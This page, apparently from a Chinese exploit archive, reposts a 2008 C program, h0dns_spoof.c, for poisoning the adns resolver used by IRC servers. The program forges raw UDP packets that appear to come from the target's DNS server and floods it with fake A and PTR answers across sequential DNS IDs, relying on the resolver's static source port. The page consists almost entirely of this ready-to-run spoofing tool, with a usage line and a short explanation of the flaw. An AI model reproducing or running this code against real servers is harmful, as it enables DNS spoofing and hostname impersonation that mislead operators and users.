首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
来源:saik0pod@yahoo.com 作者:zmda 发布时间:2008-08-04  
/* h0dns_spoof.c - zmda - saik0pod@yahoo.com
*   - spoof dns on ircd's using the h0dns code
*
*   - spoof dns on anything using the adns (asynchronous dns resolver) code
*
*   - The bug:
*       - Static source port used by the adns code
*       - Sequential DNS ids in request packets
*
*   - Initiate sequence to trigger a dns lookup by the adns resolver. Send
*     the same range of spoofed DNS ids in a constant flood spoofed as the
*     primary DNS server for the host. Even a local DNS request will take
*     long enough to allow some amount of the spoofed DNS responses through
*     before the primary DNS responds. Since the resolver does not cache
*     results, the dns lookups can be triggered until the DNS id is
*     incremented within the DNS id range being spoofed.
*
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>

#ifndef u8
  #define u8  unsigned char
#endif

#ifndef u16
  #define u16 unsigned short
#endif

#ifndef u32
  #define u32 unsigned long
#endif


struct dns_header {
  u16 id;
  u16 flags;
  u16 questions;
  u16 answer_rr;
  u16 auth_rr;
  u16 extra_rr;
} __attribute__((packed));

struct dns_data {
  u16 name;
  u16 type;
  u16 class;
  u16 ttlh;
  u16 ttl;
  u16 data_len; /* data len - sizeof(char *) */
  char *data;
  /* data */
} __attribute__((packed));

struct dns_packet {
  size_t len;
  u8  type;
  char *data;
  /* packet data */
};

struct dns_query {
  size_t len;
  char *data;
};

struct ip_header {
  u8  ihl:4,
      version:4;
  u8  tos;
  u16 tot_len;
  u16 id;
  u16 frag_off;
  u8  ttl;
  u8  protocol;
  u16 check;
  u32 saddr;
  u32 daddr;
};

struct udp_header {
  u16 source;
  u16 dest;
  u16 len;
  u16 check;
};

#define DNS_A   0x0001
#define DNS_PTR 0x000c

struct udp_packet {
  struct ip_header iph;
  struct udp_header udph;
};

void usage() {
  fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "
                  "<your ip> <spoof host> <dns id>\n");
  exit(-1);
}

void fatal(char *reason) {
  fprintf(stderr, "fatal: %s\n", reason);
  exit(-1);
}

unsigned short csum(unsigned short *addr, int len) {
  register int sum = 0;
  u_short answer = 0;
  register u_short *w = addr;
  register int nleft = len;

  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer); /* return the checksum value. */
}

struct udp_packet *alloc_packet(size_t datalen) {
  struct udp_packet *packet;
  struct ip_header  *iph;
  struct udp_header *udph;

  if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
    fatal("error: allocating udp packet");

  iph  = &packet->iph;
  udph = &packet->udph;

  iph->ihl       = 5;
  iph->version   = 4;
  iph->tos       = 0;
  iph->tot_len   = sizeof(struct udp_packet) + datalen;
  iph->id        = htonl(0xbeef);
  iph->frag_off  = 0;
  iph->ttl       = 255;

  iph->protocol  = 17;

  udph->len      = htons(sizeof(struct udp_header) + datalen);

  return(packet);
}

void init_packet(long source, int sport, long dest, int port,
                 struct udp_packet *udp_packet,
                 struct dns_packet *dns_packet) {
  struct ip_header *iph;
  struct udp_header *udph;
  char *data;

  iph  = &udp_packet->iph;
  udph = &udp_packet->udph;

  iph->saddr      = source;
  iph->daddr      = dest;
  iph->check      = csum((unsigned short *)iph, sizeof(struct ip_header));

  udph->check  = 0;
  udph->source = htons(sport);
  udph->dest   = htons(port);

  data = (char *)udp_packet + sizeof(struct udp_packet);
  memcpy(data, &dns_packet->data, dns_packet->len);
}

char *dns_string_format(char *out, char *in) {
  int i, x;

  for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
    if(in[i] == '.') {
      out[i] = x;
      x = -1;
    } else
      out[i] = in[i];
  }

  out[i] = x;

  return(out);
}

struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
                                    char *answer_data, int type) {
  struct dns_packet *dns_packet;
  struct dns_header *dns_header;
  struct dns_data *dns_data;
  char *query,
       *answer;
  size_t totlen,
         alen;

  if(type == DNS_A)
    alen = 4;
  else
    alen = strlen(answer_data);

  totlen = sizeof(struct dns_header) +
           qlen +
           sizeof(struct dns_data) - sizeof(char *) + alen +
           ((type == DNS_A) ? 0 : 2);

  if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
                          sizeof(char *))) == NULL)
    fatal("failed alloc");

  dns_packet->len      = totlen;

  dns_header = (struct dns_header *) &dns_packet->data;
  query      =              (char *) &dns_packet->data +
                                     sizeof(struct dns_header);
  dns_data   =   (struct dns_data *) (query + qlen);
  answer     =              (char *) &dns_data->data +
                                     ((type == DNS_A) ? 0 : 1);


  dns_header->flags     = htons(0x8180);
  dns_header->questions = htons(1);
  dns_header->answer_rr = htons(1);
  dns_header->auth_rr   = htons(0);
  dns_header->extra_rr  = htons(0);


  memcpy(query, query_data, qlen);

  dns_data->name        = htons(0xc00c);
  dns_data->type        = htons(type);
  dns_data->class       = htons(1);
  dns_data->ttl         = htons(300);

  dns_data->data_len    = htons(alen + ((type == DNS_A) ? 0 : 1));

  if(type == DNS_A)
    memcpy(answer, &answer_data, 4);
  else
    dns_string_format(answer, answer_data);

  return(dns_packet);
}

struct dns_query *alloc_dns_query(char *query, int qtype) {
  struct dns_query *dns_query;
  size_t qlen;
  int i, x = 0;
  char *p;
  char *data;
  u16  *type,
       *class;

  qlen = 1 + strlen(query) + 1 + 2 + 2;

  if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)
    fatal("fatal alloc\n");

  dns_query->len = qlen;

  data   = (char *) &dns_query->data + 1;
  type   =  (u16 *) (data + strlen(query) + 1);
  class  =  (u16 *) type + 1;

  dns_string_format(data, query);

  *type   = htons(qtype);
  *class  = htons(1);

  return(dns_query);
};

int send_packet(struct in_addr src, u16 sport,
                struct in_addr dst, u16 dport,
                struct udp_packet *udp_packet,
                struct dns_packet *dns_packet, u32 dns_id) {
  struct sockaddr_in sin;
  struct dns_header *dns_header;
  int s, olen;
  unsigned char *p;
  int i;

  dns_header     = (struct dns_header *) &dns_packet->data;
  dns_header->id = htons(dns_id);

  init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);

  sin.sin_family      = AF_INET;
  sin.sin_addr        = dst;
  sin.sin_port        = htons(sport);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
    fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));
    return(s);
  }

  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
    fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");

  while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,
       (struct sockaddr *)&sin, sizeof(sin)) < 0) {

    if(errno == ENOBUFS)
      usleep(50);
    else {
      fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);
      close(s);
      return(-1);
    }

  }

  close(s);

}

void do_spoof(struct in_addr src, u16 sport,
              struct in_addr dst, u16 dport,
              struct in_addr me, char *answer, u16 dns_id) {
  struct udp_packet *udp_packet_A,
                    *udp_packet_PTR;
  struct dns_packet *dns_packet_A,
                    *dns_packet_PTR;
  struct dns_query  *dns_query_A,
                    *dns_query_PTR;
  char query[255];
  int i;

printf("dns_id = %d\n", dns_id);

  snprintf(query, sizeof(query) - 1,
           "%d.%d.%d.%d.in-addr.arpa",
           (me.s_addr >> 24),
           (me.s_addr >> 16) & 0xff,
           (me.s_addr >>  8) & 0xff,
           (me.s_addr      ) & 0xff);

  dns_query_A    = alloc_dns_query(answer, DNS_A);
  dns_packet_A   = alloc_dns_packet((char *)&dns_query_A->data,
                                    dns_query_A->len,
                                    (char *)me.s_addr, DNS_A);
  udp_packet_A   = alloc_packet(dns_packet_A->len);


  dns_query_PTR  = alloc_dns_query(query, DNS_PTR);
  dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
                                    dns_query_PTR->len, answer, DNS_PTR);
  udp_packet_PTR = alloc_packet(dns_packet_PTR->len);

  /* weee flood time */
  for(i = 0; ; i++) {
    send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);
    send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);
    usleep(50);

    if(i > 3)
      i = 0;
  }
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int main(int argc, char *argv[]) {
  int i, dns_port, dns_id;
  struct in_addr ircd,
                 ircd_ns,
                 me;
  char *spoof_host;

  printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######\n");

  if(argc < 6)
    usage();

  if((ircd.s_addr = resolve(argv[1])) == -1)
    fatal("ircd host invalid");

  dns_port = atoi(argv[2]);

  if((ircd_ns.s_addr = resolve(argv[3])) == -1)
    fatal("ircd dns host invalid");

  if((me.s_addr = resolve(argv[4])) == -1)
    fatal("my host invalid");

  spoof_host    = argv[5];
  dns_id        = atoi(argv[6]);

  do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);

}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xerox Phaser 8400 (reboot) Rem
·TGS CMS 0.3.2r2 Remote Code Ex
·IntelliTamper 2.07 (imgsrc) Re
·Joomla Component EZ Store Remo
·moziloCMS 1.10.1 (download.php
·Coppermine Photo Gallery <= 1.
·Symphony <= 1.7.01 (non-patche
·NCTsoft AudFile.dll ActiveX Co
·Pligg <= 9.9.0 Remote Code Exe
·eNdonesia 8.4 (Calendar Module
·LoveCMS 1.6.2 Final Remote Cod
·HIOX Browser Statistics 2.0 Ar
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved